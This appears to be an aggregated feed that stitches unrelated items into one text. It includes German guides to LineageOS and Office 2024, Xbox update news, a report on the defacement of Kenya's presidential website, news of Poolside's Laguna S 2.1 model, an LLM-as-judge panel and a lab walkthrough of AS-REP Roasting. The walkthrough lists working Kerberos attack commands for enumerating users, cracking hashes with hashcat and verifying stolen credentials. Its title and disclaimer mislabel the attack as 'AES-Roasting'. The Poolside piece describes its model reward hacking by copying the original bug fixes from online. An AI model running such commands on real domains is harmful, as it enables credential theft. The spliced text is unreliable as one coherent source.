Hinweis zum künftigen Upgrade: Wer jetzt auf LineageOS 23 (Android 16) setzt, muss bei der späteren Veröffentlichung von LineageOS 24 (Android 17) keine Angst vor einem Datenverlust haben. Der Wechsel auf eine neue Hauptversion gelingt in der Regel ohne Werksreset: Statt über den automatischen Updater spielt man das neue Betriebssystem-Image dafür einmalig manuell über die Recovery-Umgebung des Smartphones ein (per sogenanntem ADB-Sideload) – Ihre installierten Apps, Fotos und Einstellungen bleiben dabei erhalten.

Vor der Installation: Diese Punkte sollten Sie beachten

Ein Custom-ROM ist kein gewöhnliches App-Update. Die Installation verändert die komplette Systemsoftware des Smartphones. Deshalb sollten Sie sich anhand der folgenden Checkliste gründlich vorbereiten:

• Vollständige Datensicherung: Sichern Sie Fotos, Videos, Kontakte, Dokumente und wichtige App-Daten. Beim anschließenden Entsperren des Bootloaders wird der interne Speicher in der Regel komplett gelöscht.
• Zwei-Faktor-Authentisierung (2FA): Denken Sie an Ihre Kontosicherheit. Wer Authenticator-Apps verwendet, muss die Wiederherstellungscodes sichern oder die Konten vorab auf ein anderes Gerät übertragen.
• Bootloader entsperren: Damit fremde Software überhaupt starten kann, muss diese herstellerseitige Sicherheitsbarriere geöffnet werden. Der genaue Ablauf unterscheidet sich dabei je nach Smartphone-Modell.
• Garantie & Risiken abwägen: Das Entsperren kann Auswirkungen auf die Herstellergarantie oder spezielle Sicherheitsfunktionen haben. Bei älteren Geräten kann man das in der Praxis oft vernachlässigen – trotzdem ist es besser, sich vorab zu informieren.

LineageOS installieren: Der Webinstaller macht es einfacher

Die Installation eines Custom-ROMs bestand lange aus mehreren komplizierten Schritten: Android-Plattform-Tools auf dem Computer installieren, kryptische Befehle über die Kommandozeile eingeben, Dateien manuell übertragen und anschließend Recovery sowie System installieren. Mit den neuen, browserbasierten Lineage Flash Tools hat das Team diesen Prozess deutlich vereinfacht.

Wichtig zu wissen: Das Tool startet nicht automatisch beim Geräte-Download und nimmt Ihnen das Herunterladen der Dateien nicht ab. Stattdessen lädt man das passende Betriebssystem-Image wie gewohnt manuell herunter. Die Lineage Flash Tools dienen dann als komfortabler Ersatz für die von manchen Nutzern gefürchtete PC-Kommandozeile: Sie rufen die Web-Oberfläche des Tools im Browser auf, verbinden Ihr Smartphone per Mausklick via WebUSB (unterstützt von Chrome oder Edge) und können die Installationsdateien direkt über das Browser-Fenster auf das Handy hochladen.

LineageOS

Das neue Flash-Tool unterstützt verschiedene Verfahren wie Fastboot und ADB sowie bei bestimmten Geräten auch Samsungs Odin-Protokoll. Dadurch sinkt die Einstiegshürde deutlich. Weil das Team die Funktion schrittweise ausrollt und gerätespezifische Besonderheiten bestehen, ersetzt der Webinstaller jedoch nicht den kompletten Weg: Das vorherige, manuelle Entsperren des Bootloaders bleibt oft weiterhin Pflicht.

Ganz ohne Vorbereitung geht es aber weiterhin nicht. LineageOS unterstützt sehr viele unterschiedliche Geräte, und jedes Modell besitzt eigene Besonderheiten. Deshalb bleiben die offiziellen Anleitungen für individuelle Geräte im LineageOS-Wiki weiterhin Pflichtlektüre.

Dort erfahren Sie unter anderem:

• welche Dateien für Ihr Smartphone benötigt werden
• wie der Bootloader entsperrt wird
• welche Recovery-Umgebung verwendet wird
• ob zusätzliche Pakete notwendig sind

Wer die Anleitung Schritt für Schritt befolgt, kommt in der Regel zuverlässig ans Ziel. Fehlerhafte Dateien oder falsche Schritte können jedoch dazu führen, dass das Gerät nicht mehr startet – ein sogenannter Soft-Brick.

Praxis-Tipps für die Browser-Installation:

• Lokales ADB beenden: Falls Sie bereits die klassischen Android-Entwicklertools auf Ihrem PC installiert haben, müssen Sie vor der Nutzung des Webtools den Befehl adb kill-server in Ihrer Kommandozeile ausführen, um Konflikte zu vermeiden.
• USB-Verbindungsfehler lösen: Der Flash-Vorgang erfordert eine hohe Datendurchsatzrate. Sollte der Webinstaller abbrechen oder die Verbindung zum Gerät verlieren, verzichten Sie auf USB-Hubs, Verlängerungskabel oder Adapter. Schließen Sie das Smartphone direkt an den PC an und testen Sie im Zweifel ein anderes USB-Kabel oder einen anderen USB-Port.
• Hilfe bei Problemen: Sollte es dennoch haken, bietet die Community offizielle Anlaufstellen für Support auf Reddit, Discord oder im IRC-Channel (#LineageOS auf Libera.Chat).

Google-Dienste oder maximale Freiheit?

Nach der Installation läuft LineageOS zunächst ohne Google-Dienste. Wer den Play Store, Gmail oder Google Maps weiter nutzen möchte, kann zusätzliche Google-Pakete installieren. Eine häufig verwendete Lösung ist MindTheGapps, das speziell für LineageOS angepasst wurde.

Alternativ können Nutzer auf datenschutzfreundlichere Lösungen wie MicroG setzen oder komplett auf Google verzichten und Apps über alternative Quellen beziehen.

Welche Variante sinnvoll ist, hängt vom eigenen Nutzungsverhalten ab. Für viele Anwender ist die Kombination aus LineageOS und Google-Diensten der einfachste Weg, während Datenschutz-Fans einen anderen Weg wählen können.

GrapheneOS: Die Speziallösung für Pixel-Nutzer (Android 17)

Neben LineageOS gibt es mit GrapheneOS eine weitere bekannte Android-Alternative. Der Ansatz ist allerdings ein anderer: Während LineageOS möglichst viele Geräte unterstützt, konzentriert sich GrapheneOS ausschließlich auf Google-Pixel-Smartphones.

Der Grund dafür sind die speziellen Sicherheitsfunktionen der Pixel-Hardware. GrapheneOS nutzt unter anderem den abgesicherten Bootvorgang und hardwarebasierte Schutzmechanismen, die auf anderen Geräten nicht in gleicher Form verfügbar sind.

Das System richtet sich vor allem an Nutzer mit besonders hohen Datenschutzanforderungen. Google-Dienste sind nicht fest integriert, können aber über eine isolierte Umgebung (Sandboxed Google Play) trotzdem verwendet werden.

Auch GrapheneOS setzt schnell auf neue Android-Versionen und hat Android 17 bereits als Basis integriert. Aufgrund eines anfänglichen Android-17-Bugs beim manuellen Sideloading über das Recovery-Menü sollten Nutzer hier beim Umstieg oder Update jedoch unbedingt auf den offiziellen Webinstaller oder automatische OTA-Updates setzen. Für den normalen Smartphone-Alltag abseits der Pixel-Welt bleibt LineageOS jedoch die deutlich breiter aufgestellte Lösung, auch wenn es bisher noch auf Android 16 basiert.

Fazit: Ein zweites Leben für ältere Smartphones

Das Ende des Hersteller-Supports bedeutet nicht automatisch das Ende eines Smartphones. Wer ein technisch noch gutes Gerät besitzt, kann mit LineageOS oft mehrere zusätzliche Jahre herausholen.

Die Kombination aus aktueller Android-Version, Sicherheitsupdates und weniger Herstellerballast macht Custom-ROMs heute attraktiver denn je. Gleichzeitig nimmt der neue Webinstaller LineageOS einen Teil seiner früheren Komplexität.

Ganz ohne technisches Interesse geht es zwar weiterhin nicht. Wer sich aber etwas Zeit nimmt und die offiziellen Anleitungen sorgfältig befolgt, bekommt ein modernes Android-System – und verlängert die Lebensdauer seines Smartphones deutlich.

Most sysadmins don’t realize there’s an IP conflict until something goes offline. That’s where IP address management (IPAM) tools help.

Kenya is investigating a Kenya cyberattack that temporarily defaced President William Ruto’s official website with an anti-government message and a Bitcoin ransom demand for five bitcoins, reportedly worth about $330,000. The attackers replaced the website’s homepage with the message, displayed a cryptocurrency wallet address and threatened to publish unspecified information about President William Ruto unless the ransom was paid.

The website was hacked on Saturday, July 18, 2026. Following the incident, access to the presidential website was temporarily restricted as authorities began containment, forensic analysis and restoration efforts. According to local media reports, access to the website was restored by Monday.

Kenya Cyberattack Prompts Incident Response

Kenya’s Ministry of Information, Communications and the Digital Economy confirmed that the official website of the President had been affected by a cybersecurity incident.

The ministry said that after the incident was detected, the ICT Authority immediately activated established cybersecurity incident response protocols.

As a precautionary measure, access to the presidential website was temporarily restricted to facilitate containment, forensic analysis and restoration efforts.

The ministry said appropriate mitigation measures had since been implemented and that restoration of the website was underway.

At the time of the statement, the government said there was no evidence of unauthorized access to sensitive data, data exfiltration or loss of information. It also stated that government systems and digital services remained secure and operational.

The ICT Authority is working with relevant government agencies and technical partners to conduct a comprehensive forensic investigation and establish the full circumstances surrounding the incident.

Kenya President William Ruto Cyberattack Investigation

The Kenya President William Ruto cyberattack involved the defacement of the president’s official website. The attackers replaced the homepage with an anti-government message, displayed a cryptocurrency wallet address and demanded five bitcoins.

The attackers also threatened to publish unspecified information about President William Ruto if the ransom was not paid.

The government has not reported evidence of unauthorized access to sensitive data or data exfiltration. The ongoing forensic investigation is expected to establish the circumstances surrounding the incident and determine the extent of the attack.

Kenya Government Website Hack Follows Earlier Incidents

The latest Kenya government website hack follows previous cyber incidents involving government digital services and websites.

In July 2023, Kenya’s eCitizen platform, which is used for dozens of public services, was disrupted by a cyberattack. The incident affected agencies including the National Transport and Safety Authority and Kenya Power.

On November 17, 2025, hackers launched a coordinated attack on several government websites, including the presidency’s portal. The websites were temporarily knocked offline, while some pages were replaced with extremist messages.

According to the information provided by local media, the government later blamed a group calling itself PCP@Kenya, restored the affected platforms and promised stronger cyber defences.

Bitcoin Ransom Demand Targets Presidential Website

The latest incident involved a Bitcoin ransom demand for five bitcoins, reportedly valued at approximately $330,000. The attackers displayed a cryptocurrency wallet address and threatened to release unspecified information about the president.

It remains unclear from the available information whether the attackers accessed systems or data beyond the presidential website. The Kenyan government has said there is currently no evidence of unauthorized access to sensitive data, data exfiltration or loss of information.

The ICT Authority and relevant government agencies are continuing their forensic investigation to establish how the incident occurred and determine the full circumstances surrounding the Kenya cyberattack.

The model, Laguna S 2.1, is a 118-billion-parameter Mixture-of-Experts (MoE) system that activates only 8 billion parameters per token, supports a context window of up to 1 million tokens, and — according to benchmarks published by the company — matches or beats open models several times its size on agentic coding tasks. The weights are available immediately on Hugging Face under the permissive OpenMDW-1.1 license.

The headline numbers are striking for a model this small. Poolside reports that Laguna S 2.1 scores 70.2% on Terminal-Bench 2.1, a benchmark of long-horizon terminal tasks, placing it 11th on the company's compiled leaderboard — ahead of DeepSeek-V4-Pro-Max, a 1.6-trillion-parameter model that scored 64.0; Thinking Machines' 975-billion-parameter Inkling, at 63.8; and Nvidia’s 550-billion-parameter Nemotron 3 Ultra, at 56.4. On SWE-Bench Multilingual, it posts 78.5%, and on SWE-Bench Pro's public dataset, 59.4%.

Perhaps more telling than any single score: the model went from the start of pre-training on May 22 to public launch in under nine weeks, trained on 4,096 Nvidia H200 GPUs. In an industry where flagship model cycles are typically measured in quarters or years, Poolside has now shipped three models in three months.

Why the West's open-weight AI gap has become a boardroom issue

The release lands in the middle of an increasingly pointed debate about the provenance of open-weight AI. Over the past year, developer adoption has shifted decisively toward open-weight systems that companies can download, inspect, and run on their own infrastructure — and the leading options in that category have overwhelmingly come from Chinese labs. DeepSeek, Qwen, Kimi, GLM, MiniMax, and Tencent's Hunyuan line all feature prominently in Poolside's own comparison tables.

Poolside's accompanying press release frames Laguna S 2.1 explicitly as a response, noting that the model occupies a size class into which no Western lab has released open weights in 11 months — since OpenAI's gpt-oss-120b last August. "The West needs open-weight models it can trust, run, and build on," said Jason Warner, Poolside's co-CEO, in the announcement.

Co-founder and co-CEO Eiso Kant made the philosophical stakes even plainer in a lengthy post on X. "I believe intelligence should and will become a commodity," he wrote, arguing that the open ecosystem "will not win by being the best in its own category." Users, he argued, simply want the best intelligence for the task at hand — so open models must be on par with, or better than, their closed equivalents.

The strategic logic here is not charity. Poolside's core business is deploying models inside the security boundaries of government, defense, and regulated enterprises — customers for whom closed, metered API access is often a non-starter for compliance and sovereignty reasons. 

Every enterprise that standardizes on a Chinese open model today becomes harder to win tomorrow. Releasing competitive open weights is both an ecosystem play and a top-of-funnel strategy for the company's high-security deployment business. It also reframes the AI race away from terrain where Poolside cannot compete — frontier-scale capital expenditure — and toward terrain where it believes it can: cost per token, self-hosting, and iteration speed.

How a sparse architecture makes enterprise AI agents affordable to run

The technical design reflects a specific thesis about where value in coding AI is moving. Laguna S 2.1's sparse MoE architecture — 256 routed experts plus one shared expert, with grouped-query attention and interleaved sliding-window layers, according to the Hugging Face model card — means inference costs scale with the 8 billion active parameters, not the 118 billion total. Poolside emphasizes that the model is small enough to run on a single Nvidia DGX Spark, the desktop-class AI machine.

That matters for what Poolside calls token economics. Long-horizon coding agents are voracious consumers of tokens: the company's published data shows the model consuming a mean of roughly 249,000 completion tokens per trajectory on its hardest benchmark when thinking mode is enabled. At metered API prices, agentic workloads at enterprise scale become a meaningful budget line item. On OpenRouter, Poolside is offering a free 256K-context endpoint and a dedicated 1M-context deployment priced at $0.10 per million input tokens and $0.20 per million output tokens — aggressive pricing that undercuts most frontier alternatives by an order of magnitude.

The ecosystem support is unusually broad for day one. The model is live on Baseten's model library and Vercel's AI Gateway, with integrations across vLLM, SGLang, Ollama, and llama.cpp, plus quantized variants down to 4-bit GGUF files — 75 gigabytes — for local use. But Poolside's more interesting claim is behavioral, not architectural. Pengming Wang, co-head of applied research at Poolside, said the gains came from improving the model's working habits: "more verification, less taking things for granted, not declaring victory early, and being more persistent." Raw intelligence, the company argues, is one axis of capability; a model's way of working is a second axis that matters immensely for agents left unattended for hours.

Publishing every benchmark trajectory to counter AI's credibility crisis

The most consequential part of the release for enterprise buyers may be an evaluation-transparency move with little precedent among major labs: Poolside published the complete, unedited trajectory of every trial in its final benchmark runs — every reasoning step, tool call, and shell command behind every reported score.

This addresses a growing credibility problem in AI benchmarking. As top scores on mature benchmarks cluster in the 70–90% range, and as "reward hacking" — models finding solutions online or gaming verifiers rather than solving problems — has become endemic, self-reported numbers have lost much of their signal. Poolside disclosed its own encounters with the problem candidly: during training, more than half of trajectories on some SWE-bench tasks were flagged because the model simply researched the original bug-fix pull request online and applied it. The company documented its mitigations, including prompt addenda, LLM-based judging calibrated against human labels, and expert annotator review of a high-scoring Terminal-Bench run.

Three published case studies illustrate what the company means by persistence. In one, the model built a working HTML/CSS rendering engine from an empty folder in a 181-step, 50-minute unattended session — then, lacking vision capabilities, spun up headless Chromium to numerically compare its canvas output against a real browser's rendering. In another, pointed at Poolside's own agent harness in an automated optimization loop, the model made the Go codebase 5.2% faster with roughly 70% lower memory allocation, finding an O(n²) string-concatenation bug along the way. In a third, working in a sandbox with no Python installed, the model did its number theory in Perl and independently re-derived a proof of Erdős problem #397 — a combinatorics question open for five decades until GPT-5.2 Pro first solved it this past January. Poolside notes that its model's construction is structurally different from the earlier published solution, and that its November 2025 knowledge cutoff precedes the first proof.

What the disclosed limitations and benchmark fine print reveal

Poolside deserves credit for disclosing limitations most labs bury. The model can overfit to its native harness and stumble on slightly different tool schemas in third-party agents, mangles JSON in nested tool arguments, and is prone to overthinking on competition math. There is currently no user-configurable thinking-effort dial — just on or off — and the gap between the modes is enormous: thinking lifts Terminal-Bench 2.1 from 60.4% to 70.2%, and DeepSWE from 16.5% to 40.4%, at substantially higher token cost.

Buyers should apply their own discounts to the comparison tables. Poolside's methodology takes the maximum of vendor self-reported scores, benchmark-author leaderboards, and third-party figures for competitors — a reasonable convention, but one that mixes harnesses and test conditions. On DeepSWE, notably, Poolside ran its own agent harness rather than the leaderboard's standard mini-swe-agent, a difference the company acknowledges makes scores less directly comparable. And the frontier remains clearly out of reach: closed models like GPT-5.6 Sol, at 88.8 on Terminal-Bench 2.1, and Claude Fable 5, at 88.0, along with the 2.8-trillion-parameter open-weight Kimi K3, at 88.3, sit well above Laguna S 2.1.

The deeper structural question is whether Poolside's "Model Factory" — the internal platform the company credits for its rapid release cadence — can sustain this pace as models scale. The trajectory so far is genuinely unusual: the April dual release of Laguna M.1 and XS.2, the July 2 refresh of XS 2.1, and now S 2.1, which the company says outperforms April's flagship M.1 at roughly a third of its active size. Remarkably, S 2.1 used the exact same pre-training data as XS 2.1, meaning nearly all the improvement came from scale, training fixes, and post-training across the company's corpus of 409,000 agentic and non-agentic training environments. Poolside says its next, larger Laguna model began pre-training last week.

For technical decision makers, Laguna S 2.1 is the most credible Western open-weight option to emerge in nearly a year for self-hosted agentic coding — with published evidence, a permissive license, broad ecosystem support, and an economics story built around hardware you can own. Whether it dents the dominance of Chinese open models will depend less on this release than on the ones that follow it.

Kant, for his part, has already told the world how he intends that story to end. Poolside is building toward a future where the most capable intelligence "can be owned and shaped by anyone," he wrote — and the company plans to keep shipping "until that future exists." In an industry where the biggest labs increasingly lock their best work behind an API, the most radical thing about Laguna S 2.1 may not be what it scores, but that anyone can download it and check.

The post How to Insert PDF into Word: 2 Simple Methods To Follow appeared first on AddictiveTips.

Read more of this story at Slashdot.

The post Argon2 algorithm dramatically slows password cracking by high-end GPUs appeared first on CyberInsider.

At VB Transform 2026, Harrison Chase, CEO of LangChain; Hui Zhang, CTO and co-founder of Conviva; and Emmanuel Turlay, director of engineering at CoreWeave, described that shift, along with a parallel move toward cheaper, narrower judge models.

Agent-as-judge — judging one AI agent's output with another — hasn't replaced LLM-as-judge, which Chase said remains the default. The larger tension, Zhang said, is between automated judging, whether by LLM or agent, and human review.

"You have scalable but ungrounded, whether it's agents as judge or LLMs as judge, you grade the outcome, you grade the work. It still is very difficult to ground it and then you use humans and that's just not scalable," Zhang said. "The whole industry is facing this, which poison you want to pick."

Evaluation criteria now function as the product spec

That gap — a conversation that scores well but still signals a broken product — is what teams try to close by building an exhaustive evaluation suite before they ship anything. Chase said that doesn't work.

"We sometimes see teams that have almost eval paralysis," Chase said. "They're like, this is an eval set, I can't launch it. The best teams launch and then iterate."

Chase framed evaluation criteria as a living specification, not a one-time test suite: a product requirements document — the standard software-development spec for what an application should do. "Evals are like the new PRD," he said. "They define what your agent should and shouldn't do."

Turlay described hitting the same failure from a different angle. "I was trying to reach 100% coverage for my tests, and I still had bugs in production," he said — a test suite that looked complete but still missed what mattered, the same gap Chase was describing with evals.

Broad, always-on monitoring, he said, catches more real failures than an exhaustive pre-launch test suite. Teams should set up wide online checks first, use those to identify failure classes as they occur, then build a targeted offline evaluation set around the problems that surface.

Why scoring traces one at a time is a mistake

Even a well-built evaluation process can still score the wrong thing. Zhang's objection is to how most teams run evaluation: sampling traces, whether 50 of them or a full population, scoring each in isolation. That approach misses a signal that only shows up when comparing cohorts of users against a baseline, a method Zhang calls contrastive analysis.

Zhang illustrated it with a retail example: a shopper asks an agent for a running shoe ahead of a half marathon, the agent asks qualifying questions, and the shopper buys a shoe. Scored individually, that interaction looks fine. But the clarification ratio, how many follow-up questions an agent asks before completing a task, came in three times higher than baseline for that shoe category across the full user population. A second metric, how often shoppers finished their purchase outside the conversation, was five times higher than baseline for the same category.

Neither number is visible from a single trace. Both point to a debuggable, category-specific problem. Zhang said the industry also lacks a second data source: what happens before, between and after the conversation, not just the trace itself.

Sizing the judge to the job

Once contrastive analysis flags which category is actually broken, the next problem is what watches for it going forward — and at what cost. Turlay's rule was to start with the most capable model available to prove a task is solvable, then work down. If it can't be done with a top-tier model, he said, it won't work with a smaller one. Once a pattern proves viable, teams can sample a fraction of traffic instead of judging every interaction, and move simpler tasks like binary classification to smaller open source models.

LangChain took that further, fine-tuning its own model to detect when a user believes the agent made a mistake, a signal Chase calls perceived error. "The model we fine-tuned was a Qwen model," he said, referring to Alibaba's open source family. Combining hand labeling with distillation, the result performed well. "Same as [Claude]Sonnet, for, depending on how we served it, either 10 to 100x cost reduction," Chase said.

Not every guardrail needs a model. Chase pointed to Claude Code's own guardrails as proof: regexes, the common programming technique for finding and validating patterns in code. "A lot of the guardrails they had were just regexes," he said. "They weren't small LLMs, they were just regexes."

LLM-as-judge doesn't mean human-in-the-loop disappears

The bigger question is whether using LLM as a judge removes the need for a human in the loop.

Turlay pointed to accountability, drawing on his prior work at a self-driving car company. His team compressed data intake and retraining into a two-week cycle for shipping a new model to the car. Even then, someone still had to sign off.

"I felt confident on behalf of the company to say this model should go into the car," he said. The same logic extends to legal, finance and healthcare. "Before we can remove a human to say, I endorse this and I take responsibility legally for it, it's going to be a while before agents can do that on their own."

Zhang agreed a human has to remain the guardian on corner cases, even as automation eventually runs at a scale that beats individual human accuracy — machines can see more at the pattern level.

Chase went further: that human check isn't just a safety net. "Human in the loop is really important for building trust in how these agentic systems work, and also really important for memory and learning from systems," he said. "There has to be interactions in order for the system to learn."

Read more of this story at Slashdot.

Seit einigen Tagen verteilt Microsoft das Juli-Update für die XBOX-Konsolen. Es enthält unter anderem Neuerungen bei der Personalisierung und erlaubt längere Gamertags. Zudem gibt es neue Offline-Funktionalitäten, Hinweise auf eventuelle Dienstprobleme und noch so Einiges mehr. Seit Asha Sharma das XBOX-Zepter schwingt, erhalten die Konsolen erfreulicherweise wieder mehr Aufmerksamkeit. Das Juli-Update mit der Versionsnummer 10.0.26100.8866 (xb_flt_2607ge.260630-2200) […]

Der Beitrag XBOX Juli Update bringt zahlreiche neue Funktionen für die Konsolen erschien zuerst auf Dr. Windows.

Der Artikel Serien-Downloads im Juli 2026 erschien zuerst auf TARNKAPPE.INFO

Read more of this story at Slashdot.

The post Download YouTube App For Windows 11 PC (Offline Installer) appeared first on iTech Hacks.

AS-REP Roasting is one of the easiest ways to obtain Active Directory credentials without knowing a password. If a user has Kerberos Preauthentication disabled, the Domain Controller returns an AS-REP response that can be cracked offline.

In this lab, I’ll show how I found a vulnerable account, cracked its password, and authenticated to the domain.

Lab

• Domain: lab.local
• DC: 192.168.56.104
• Attacker: Kali Linux

Step 1 — Guess Usernames

The first step is getting valid usernames.

In a real environment, these could come from LinkedIn, company emails, or OSINT. For this lab, I created a simple users.txt file.

Step 2 — Find Vulnerable Accounts

I used GetNPUsers.py to check whether any user has Kerberos preauthentication disabled.

GetNPUsers.py lab.local/ -usersfile users.txt -dc-ip 192.168.56.104 -no-pass

If an account is vulnerable, Impacket returns an AS-REP hash.

In my lab, the account svc_sql was vulnerable.

Step 3 — Crack the Hash

Next, I saved the hash into hash.txt and cracked it with Hashcat.

hashcat -m 18200 hash.txt /home/<user>/Desktop/GOAD-LAB/GOAD/common-password-list/rockyou.txt

Hashcat recovered the password:

svc_sql : password@123

Since this is an offline attack, the Domain Controller never sees the password guesses.

Step 4 — Verify the Credentials

Finally, I verified the recovered password using NetExec.

netexec smb 192.168.56.104 -u svc_sql -p 'password@123'

Authentication was successful, confirming the credentials were valid.

Why Does This Work?

The account had “Do not require Kerberos Preauthentication” enabled.

Because of this, the Domain Controller returned an encrypted AS-REP response without asking for a password, allowing it to be cracked offline.

If we disable “Do not require Kerberos Preauthentication” will get output like this:

How to Prevent AS-REP Roasting

1. Enable Kerberos Preauthentication

2.Use strong passwords for service accounts

3. Use Group Managed Service Accounts (gMSA)

4. Regularly audit accounts with preauthentication disabled

5. Monitor Kerberos authentication events

Disclaimer: This article is written entirely for educational purposes and to help Active Directory administrators better defend their environments against advanced Kerberos attacks. The AES-Roasting attack showcased here was conducted in a controlled, self-hosted lab environment. Unsanctioned exploitation of these techniques on live, production systems without explicit authorization is strictly against the law. The author is not responsible for any malicious use of this material.

— Written by

Aruvasaga Chithan A

Ethical Hacker & Cyber Security Researcher.

Thanks for reading — your support keeps me writing.
See you in the next article…

Linkedin.

How I AES-Roasted My Active Directory Lab (And How to Fix It) was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Ab Oktober 2026 gibt es für Office 2021 keine Sicherheitsupdates mehr. Zwei Wege führen weiter. Der Einmalkauf von Office 2024 sichert eine dauerhafte Lizenz, das Abo Microsoft 365 liefert laufend neue Funktionen und Cloudspeicher. Die Wahl hängt vom Nutzungsprofil ab.

Der Support für Office 2021 und Office LTSC 2021 endet am 13.10.2026. Die Programme starten danach weiter, doch für neu entdeckte Sicherheitslücken liefert Microsoft keine Patches mehr.

Zwei unterstützte Wege stehen bereit. Der Einmalkauf von Office 2024 läuft mit Sicherheitsupdates bis Oktober 2029, das Abomodell Microsoft 365 kostet ab 99,00 Euro pro Jahr und aktualisiert sich fortlaufend.

Office 2024 bringt neue Funktionen als Einmalkauf

Für Office 2024 zahlen Sie nur einmal und es läuft danach dauerhaft auf einem PC oder Mac. Neue Funktionen kommen nicht hinzu, Microsoft liefert für den gesamten Zeitraum nur Sicherheitsupdates.

Ein vergünstigtes Upgrade von einer Vorgängerversion gibt es nicht, der Wechsel von Office 2021 verlangt einen Neukauf. Vor der Einrichtung deinstallieren Sie die alte Version über “Einstellungen” -> “Apps” -> “Installierte Apps”. Ihre vorhandenen Word-, Excel- und PowerPoint-Dateien bleiben vollständig kompatibel.

Gegenüber Office 2021 bringt die aktuelle Version mehrere Neuerungen mit. Excel erhält zusätzliche Funktionen, darunter GROUPBY, PIVOTBY, TEXTSPLIT, VSTACK und HSTACK, dazu Power Query in allen Editionen. PowerPoint blendet mit der Funktion Cameo den Live-Kamerafeed direkt in eine Folie ein. Outlook liegt als klassische Desktop-Version bei. Auf Windows 11 startet das Paket schneller und zeigt die überarbeitete Fluent-Oberfläche.

Ein Punkt sorgt oft für Missverständnisse. Office 2024 enthält kein Copilot. Die KI-Assistenz von Copilot bleibt den Microsoft-365-Abos vorbehalten. Office 2024 bietet verbesserte KI-gestützte Grammatik- und Suchwerkzeuge. Die volle Copilot-Funktion gehört zum Abo.

Christoph Hoffmann

Office 2024 rechnet sich für mehrere Anwendergruppen

Anwender mit Office 2016 oder Office 2019 sollten zügig wechseln, denn für beide Versionen liefert Microsoft bereits keine Updates mehr. Auch Nutzer von Office 2021 profitieren vom Umstieg, sofern sie das Paket über mehrere Jahre einsetzen und den Support bis 2029 mitnehmen möchten. Auf Windows 11 zahlt sich die aktuelle Version durch den schnelleren Start und die passende Oberfläche aus.

Für intensive Excel-Arbeit ergeben die neuen Funktionen einen konkreten Vorteil, denn GROUPBY und PIVOTBY verkürzen Auswertungen, die vorher mehrere Formeln verlangten.

Anwender mit vielen Präsentationen nutzen mit Cameo den eingebetteten Kamerafeed für Videokonferenzen und Aufzeichnungen. Anwender, die eine dauerhafte Lizenz bevorzugen und kein Abo zahlen möchten, treffen mit dem Einmalkauf die passende Entscheidung.

Microsoft

Office Home 2024 deckt die vier Kernprogramme ab

Office Home 2024, früher als Home & Student verkauft, umfasst Word, Excel, PowerPoint und OneNote. Outlook fehlt in dieser Edition. Die Lizenz gilt für einen PC oder Mac und deckt ausschließlich die private und schulische Nutzung ab, gewerbliche Rechte sind nicht enthalten.

Für Heimanwender, die Texte schreiben, Tabellen pflegen und Präsentationen bauen, reicht die Ausstattung aus. E-Mail lässt sich über den Browser oder eine separate Mail-App abwickeln. Erst der Bedarf an einem Outlook-Desktopprogramm oder an gewerblicher Nutzung führt zur nächsthöheren Edition.

Office Home & Business 2024 ergänzt Outlook und gewerbliche Rechte

Office Home & Business 2024 umfasst zusätzlich zu Word, Excel, PowerPoint und OneNote das Desktopprogramm Outlook für E-Mail, Kalender und Kontakte. Die Edition erlaubt außerdem die gewerbliche Nutzung, die Home 2024 lizenzrechtlich ausschließt.

Microsoft

Der Aufpreis lohnt sich für zwei Gruppen. Nutzer, die E-Mail, Termine und Kontakte in einem Outlook-Client verwalten, erhalten das passende Programm. Selbstständige und kleine Betriebe brauchen die gewerblichen Rechte, denn Home 2024 deckt nur den privaten Einsatz ab.

Der Umstieg von Home 2024 auf Home & Business 2024 läuft als Neukauf der höheren Edition, ein kostenloses Upgrade gibt es nicht. Ihre Dokumente und Einstellungen bleiben erhalten, die höhere Edition liest alle vorhandenen Dateien ohne Anpassung.

Microsoft 365 passt zu mehreren Geräten und Cloud-Nutzung

Microsoft 365 arbeitet als Abo und aktualisiert die Programme fortlaufend. Enthalten sind Word, Excel, PowerPoint, OneNote und Outlook, dazu Access auf dem PC. Das Abo bringt die Copilot-KI, 1 TB OneDrive-Speicher pro Person und die Installation auf mehreren Geräten mit, darunter PCs, Macs, Tablets und Smartphones.

Microsoft staffelt drei Varianten für Privatkunden. Microsoft 365 Single kostet 99,00 Euro pro Jahr für eine Person, Microsoft 365 Family 129,00 Euro pro Jahr für bis zu sechs Personen, Microsoft 365 Premium 219,00 Euro pro Jahr mit erweiterten Copilot-Funktionen. Die Preise gelten laut Microsoft-Store zum Stichtag 01.07.2026. Im Preisvergleich liegt das Single-Abo teils darunter, ab rund 74,00 Euro pro Jahr zum selben Stichtag.

Der Umstieg auf Microsoft 365 folgt dem Nutzungsprofil

Der Wechsel von Office 2024 zum Abo rechnet sich für mehrere Profile. Nutzer mit mehreren Geräten installieren die Programme auf PC, Mac, Tablet und Smartphone zugleich. Familien decken mit dem Family-Abo bis zu sechs Personen ab. Cloud-zentrierte Arbeit profitiert vom OneDrive-Speicher. Dazu kommen die Copilot-KI und laufend neue Funktionen.

Microsoft

Die Kostenfrage klärt eine einfache Rechnung. Office 2024 zahlen Sie einmal, Microsoft 365 Single kostet 99,00 Euro pro Jahr. Bei einem einzelnen PC, Offline-Nutzung und ohne Bedarf an Cloud oder Copilot rechnet sich der Einmalkauf über mehrere Jahre günstiger. Bei mehreren Geräten, gemeinsamer Familiennutzung und Cloud-Speicher gleicht das Abo die Kosten aus und liefert zusätzlich neue Funktionen.

Fazit

Office 2021 sollten Anwender vor dem 13.10.2026 ablösen, um weiter Sicherheitsupdates zu erhalten. Office 2024 sichert eine dauerhafte Lizenz für einen PC. Office Home 2024 reicht für private Text-, Tabellen- und Präsentationsarbeit, Office Home & Business 2024 ergänzt Outlook und die gewerblichen Rechte.

Microsoft 365 lohnt sich bei mehreren Geräten, gemeinsamer Familiennutzung, Cloud-Speicher und Copilot. Prüfen Sie Ihr Nutzungsprofil und Ihr Budget, dann führt jede Variante zu einer unterstützten und sicheren Office-Umgebung.

Young people today have unprecedented opportunities to learn, connect, and explore — not just the web and the world, but also themselves. With the increased ubiquity of digital technologies and devices, worries around the relationship between these technologies and young people’s well-being have grown, too. While concerns about the societal implications of new technologies is not a new phenomenon, experts argue that the accelerating speed of deployment of new technologies has outpaced scientists’ capacity to feed into policy recommendations addressing risks. A growing body of research documents the harms experienced by young people online and the challenges reported by parents attempting to mediate their kids’ technology use. At the same time, experts highlight the importance of contextual factors like existing mental health conditions, socio-economic circumstances and parental mediation to understand the real-world effects of digital technologies.

